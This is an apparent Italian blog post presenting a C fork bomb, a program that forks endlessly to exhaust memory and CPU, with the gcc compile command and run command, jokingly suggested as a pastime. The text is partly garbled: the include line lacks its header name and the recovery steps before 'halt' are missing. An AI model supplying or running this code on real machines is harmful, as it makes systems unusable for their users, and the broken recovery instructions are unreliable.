/* Questo programma implementa una specie di DOS (Denial Of Service) "interno", in quanto non fa altro che forkare continuamente. Il numero di processi in esecuzione cresce esponenzialmente, poiché tutti i processi continuano a forkare all'infinito, anche quando hanno già generato un figlio. Ciò consuma rapidamente memoria e tempo di CPU, rendendo il sistema praticamente inutilizzabile. */ #includeint main(void) { while(1) { fork(); } return 0; }
Una volta salvato il codice in un file, ad esempio
impalla.cè sufficiente compilarlo con
gcc impalla.c -o impallaed eseguirlo con
./impallaLinux smetterà quasi istantaneamente di rispondere a mouse e tastiera se siete sotto X.
halt(sempre come utente root).
Concludendo: se proprio non sapete come passare il tempo, o se vi piace fissare il vostro monitor mentre il PC sembra inchiodato a-la-Winzozz, be', io vi ho dato uno spunto.